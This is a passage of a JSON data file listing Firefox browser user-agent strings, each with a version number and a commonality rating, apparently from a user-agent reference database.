x64; rv:59.0) Gecko\\/20100101 Firefox\\/59.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Average\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko\\/20120427 Firefox\\/15.0a1\"},{\"commonality\":\"Average\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko\\/20100101 Firefox\\/29.0\"},{\"commonality\":\"Average\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko\\/20100101 Firefox\\/19.0\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:56.0) Gecko\\/20100101 Firefox\\/56.0\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; rv:55.0) Gecko\\/20100101 Firefox\\/55.0\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Average\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko\\/20100101 Firefox\\/26.0\"},{\"commonality\":\"Average\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko\\/20100101 Firefox\\/25.0\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko\\/20100101 Firefox\\/38.0\"},{\"commonality\":\"Average\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:20.0) Gecko\\/20100101 Firefox\\/20.0\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:36.0) Gecko\\/20100101 Firefox\\/36.0\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko\\/20100101 Firefox\\/59.0\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:59.0) Gecko\\/20100101 Firefox\\/59.0\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko\\/20100101 Firefox\\/59.0\"},{\"commonality\":\"Average\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:37.0) Gecko\\/20100101 Firefox\\/37.0\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:51.0) Gecko\\/20100101 Firefox\\/51.0\"},{\"commonality\":\"Average\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:5.0) Gecko\\/20100101 Firefox\\/5.0\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:46.0) Gecko\\/20100101 Firefox\\/46.0\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:39.0) Gecko\\/20100101 Firefox\\/39.0\"},{\"commonality\":\"Average\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.28) Gecko\\/20120306 Firefox\\/3.6.28\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Average\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Average\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:14.0) Gecko\\/20100101 Firefox\\/14.0.1\"},{\"commonality\":\"Average\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.3) Gecko\\/20100401 Firefox\\/3.6.3 GTB6 (.NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:41.0) Gecko\\/20100101 Firefox\\/41.0\"},{\"commonality\":\"Average\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.11; rv:41.0) Gecko\\/20100101 Firefox\\/41.0\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.11; rv:56.0) Gecko\\/20100101 Firefox\\/56.0\"},{\"commonality\":\"Average\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:35.0) Gecko\\/20100101 Firefox\\/35.0\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; rv:51.0) Gecko\\/20100101 Firefox\\/51.0\"},{\"commonality\":\"Average\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.8;baidu Transcoder) Gecko\\/20100722 Firefox\\/3.6.8 ( .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:26.0) Gecko\\/20100101 Firefox\\/26.0\"},{\"commonality\":\"Average\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko\\/20100101 Firefox\\/34.0\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; rv:57.0) Gecko\\/20100101 Firefox\\/57.0\"},{\"commonality\":\"Average\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko\\/20100101 Firefox\\/32.0\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:36.0) Gecko\\/20100101 Firefox\\/36.0\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:59.0) Gecko\\/20100101 Firefox\\/59.0\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:36.0) Gecko\\/20100101 Firefox\\/36.0\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Android 7.0; Mobile; rv:57.0) Gecko\\/57.0 Firefox\\/57.0\"},{\"commonality\":\"Average\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:14.0) Gecko\\/20100101 Firefox\\/14.0.1\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:46.0) Gecko\\/20100101 Firefox\\/46.0\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:42.0) Gecko\\/20100101 Firefox\\/42.0\"},{\"commonality\":\"Average\",\"version\":\"3.5\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.1) Gecko\\/20090715 Firefox\\/3.5.1 GTB5\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) Gecko\\/20100101 Firefox\\/39.0\"},{\"commonality\":\"Average\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:29.0) Gecko\\/20100101 Firefox\\/29.0\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.12; rv:58.0) Gecko\\/20100101 Firefox\\/58.0\"},{\"commonality\":\"Average\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; rv:41.0) Gecko\\/20100101 Firefox\\/41.0\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:44.0) Gecko\\/20100101 Firefox\\/44.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Mobile; rv:48.0) Gecko\\/48.0 Firefox\\/48.0\"},{\"commonality\":\"Average\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:37.0) Gecko\\/20100101 Firefox\\/37.0\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Android 7.1.2; Mobile; rv:55.0) Gecko\\/55.0 Firefox\\/55.0\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:39.0) Gecko\\/20100101 Firefox\\/39.0\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.11; rv:55.0) Gecko\\/20100101 Firefox\\/55.0\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:11.0) Gecko\\/20100101 Firefox\\/11.0\"},{\"commonality\":\"Average\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 ((Windows; U; Windows NT 6.1; fr; rv:1.9.2) Gecko\\/20100115 Firefox\\/3.6)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko\\/20100101 Firefox\\/9.0.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"FireFox 4\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:45.0; Rigor) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; rv:58.0) Gecko\\/20100101 Firefox\\/58.0\"},{\"commonality\":\"Average\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko\\/20100101 Firefox\\/18.0\"},{\"commonality\":\"Average\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:17.0) Gecko\\/20100101 Firefox\\/17.0\"},{\"commonality\":\"Average\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:41.0) Gecko\\/20100101 Firefox\\/41.0\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:38.0) Gecko\\/20100101 Firefox\\/38.0\"},{\"commonality\":\"Average\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:39.0) Gecko\\/20100101 Firefox\\/39.0\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:42.0) Gecko\\/20100101 Firefox\\/42.0\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:11.0) Gecko\\/20100101 Firefox\\/11.0\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Average\",\"version\":\"5\",\"ua\":\"FireFox 5\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; rv:56.0) Gecko\\/20100101 Firefox\\/56.0\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Average\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:35.0) Gecko\\/20100101 Firefox\\/35.0\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.11; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"commonality\":\"Average\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:37.0) Gecko\\/20100101 Firefox\\/37.0\"},{\"commonality\":\"Average\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:20.0) Gecko\\/20100101 Firefox\\/20.0\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:54.0) Gecko\\/20100101 Firefox\\/54.0\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:10.0.2) Gecko\\/20100101 Firefox\\/10.0.2\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko\\/20100101 Firefox\\/59.0\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; rv:54.0) Gecko\\/20100101 Firefox\\/54.0\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; rv:46.0) Gecko\\/20100101 Firefox\\/46.0\"},{\"commonality\":\"Average\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:34.0) Gecko\\/20100101 Firefox\\/34.0\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:36.0) Gecko\\/20100101 Firefox\\/36.0\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:51.0) Gecko\\/20100101 Firefox\\/51.0\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:44.0) Gecko\\/20100101 Firefox\\/44.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Average\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:37.0) Gecko\\/20100101 Firefox\\/37.0\"},{\"commonality\":\"Average\",\"version\":\"13\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:13.0) Gecko\\/20100101 Firefox\\/13.0.1\"},{\"commonality\":\"Average\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 Gecko\\/20100401 Firefox\\/3.6.3\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:44.0) Gecko\\/20100101 Firefox\\/44.0\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:46.0) Gecko\\/20100101 Firefox\\/46.0\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko\\/20100101 Firefox\\/39.0\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko\\/20100101 Firefox\\/7.0.1\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:51.0) Gecko\\/20100101 Firefox\\/51.0\"},{\"commonality\":\"Average\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:37.0) Gecko\\/20100101 Firefox\\/37.0\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Average\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:19.0) Gecko\\/20100101 Firefox\\/19.0\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:42.0) Gecko\\/20100101 Firefox\\/42.0\"},{\"commonality\":\"Average\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:34.0) Gecko\\/20100101 Firefox\\/34.0\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Mobile; rv:57.0) Gecko\\/57.0 Firefox\\/57.0\"},{\"commonality\":\"Average\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko\\/20100101 Firefox\\/25.0\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; rv:44.0) Gecko\\/20100101 Firefox\\/44.0\"},{\"commonality\":\"Average\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko\\/20101203 Firefox\\/3.6.13 CovarioCSE\\/4.0.0\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (X11; Fedora; Linux x86_64; rv:53.0) Gecko\\/20100101 Firefox\\/53.0\"},{\"commonality\":\"Average\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:35.0) Gecko\\/20100101 Firefox\\/35.0\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:36.0) Gecko\\/20100101 Firefox\\/36.0\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.11; rv:58.0) Gecko\\/20100101 Firefox\\/58.0\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko\\/20100101 Firefox\\/38.0\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko\\/20100101 Firefox\\/56.0\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:46.0) Gecko\\/20100101 Firefox\\/46.0\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:57.0) Gecko\\/20100101 Firefox\\/57.0\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Average\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko\\/20100101 Firefox\\/32.0\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:10.0.2) Gecko\\/20100101 Firefox\\/10.0.2\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko\\/20100101 Firefox\\/--.0\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Average\",\"version\":\"21\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko\\/20130331 Firefox\\/21.0\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:9.0.1) Gecko\\/20100101 Firefox\\/9.0.1\"},{\"commonality\":\"Average\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:19.0) Gecko\\/20100101 Firefox\\/19.0\"},{\"commonality\":\"Average\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko\\/20100101 Firefox\\/24.0\"},{\"commonality\":\"Average\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:34.0) Gecko\\/20100101 Firefox\\/34.0\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:44.0) Gecko\\/20100101 Firefox\\/44.0\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Average\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:20.0) Gecko\\/20100101 Firefox\\/20.0\"},{\"commonality\":\"Average\",\"version\":\"21\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko\\/20100101 Firefox\\/21.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; LYF\\/F90M\\/LYF-F90M-000-02-28-130318; Android; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:8.0) Gecko\\/20100101 Firefox\\/8.0\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:55.0) Gecko\\/20100101 Firefox\\/55.0\"},{\"commonality\":\"Average\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:18.0) Gecko\\/20100101 Firefox\\/18.0\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Mobile; rv:50.0) Gecko\\/50.0 Firefox\\/50.0\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Average\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; fr; rv:1.9.0.9) Gecko\\/2009042113 Ubuntu\\/9.04 (jaunty) Firefox\\/3.0.9\"},{\"commonality\":\"Average\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:37.0) Gecko\\/20100101 Firefox\\/37.0\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.8; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"commonality\":\"Average\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:35.0) Gecko\\/20100101 Firefox\\/35.0\"},{\"commonality\":\"Average\",\"version\":\"13\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:16.0) Firefox\\/13.0\"},{\"commonality\":\"Average\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:41.0) Gecko\\/20100101 Firefox\\/41.0\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko\\/20100101 Firefox\\/28.0\"},{\"commonality\":\"Average\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:17.0) Gecko\\/17.0 Firefox\\/17.0\"},{\"commonality\":\"Average\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko\\/20100101 Firefox\\/32.0  Windows 7 x64 EditionWindows 7 x64\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:38.0) Gecko\\/20100101 Firefox\\/38.0\"},{\"commonality\":\"Average\",\"version\":\"13\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko\\/20100101 Firefox\\/13.0\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Mobile; rv:50.0) Gecko\\/50.0 Firefox\\/50.0\"},{\"commonality\":\"Average\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.16) Gecko\\/20110323 Ubuntu\\/10.10 (maverick) Firefox\\/3.6.16\"},{\"commonality\":\"Average\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:33.0) Gecko\\/20100101 Firefox\\/33.0\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Average\",\"version\":\"21\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:10.0.12) Gecko\\/20100101 Firefox\\/21.0 WordPress.com mShots\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; rv:55.0) Gecko\\/20100101 Firefox\\/55.0\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:9.0.1) Gecko\\/20100101 Firefox\\/9.0.1\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.5; rv:12.0) Gecko\\/20100101 